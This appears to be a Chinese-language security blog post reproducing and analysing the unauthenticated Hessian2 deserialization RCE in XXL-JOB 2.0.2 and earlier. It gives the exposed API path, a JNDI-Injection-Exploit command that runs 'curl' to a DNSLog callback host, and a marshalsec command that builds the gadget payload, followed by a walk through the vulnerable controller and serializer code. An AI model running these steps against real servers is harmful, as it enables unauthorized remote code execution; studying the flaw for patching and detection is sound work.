0x00 前言

学习。

参考：xxl-job api未授权Hessian2反序列化

0x01 XXL-JOB Hessian2反序列化漏洞

影响版本

XXL-JOB <= 2.0.2

漏洞原理

XXL-JOB在2.0.2及以下版本中的接口存在未授权访问漏洞，该接口会进行Hessian2反序列化操作，导致存在Hessian2反序列化漏洞从而RCE。

漏洞复现

未授权访问API探测：/xxl-job-admin/api

启动恶意JNDI注入利用服务（工具地址：https://github.com/welk1n/JNDI-Injection-Exploit），这里打DNSLog验证：

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl xxljob.7phxqp.dnslog.cn"

利用最新版marshalsec的Hessian2这个Gadget来生成payload：

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/ic9mnr > xxl.ser

在Burp中，使用”Paste from file”选项从文件中直接复制Hessian2序列化内容到POST的body中，发送攻击报文，如下响应内容即无序列化内容的格式问题：

恶意RMI服务端接受到请求：

打到DNSLog：

漏洞分析

漏洞版本代码：https://github.com/xuxueli/xxl-job/releases/tag/2.0.2

看到对应存在未授权访问漏洞的API即/xxl-job-admin/api，代码位于com/xxl/job/admin/controller/JobApiController.java，其中注解PermessionLimit中limit的值为false即并没有限制权限：

往下看，会对请求中读取到的字节码进行反序列化操作：

上述的deserialize()函数是抽象类Serializer的函数，具体的还得”Ctrl+Alt+B”查看该抽象类的具体实现类中对应的重写后的方法，这里找到有HessianSerializer的：

其中就是Hessian2反序列化操作了：

前面出现了好几个抽象类deserialize()函数的实现类，怎么会偏偏是Hessian2的呢？

看到XXL-JOB的动态调度器中查看，位于com/xxl/job/admin/core/schedule/XxlJobDynamicScheduler.java，这里的启动的时候即调用start()函数时会调用initRpcProvider()函数，而该函数在初始化RPC Provider时明确指定了XmlRpcProviderFactory的序列化器为Hessian2的：

至此，OK。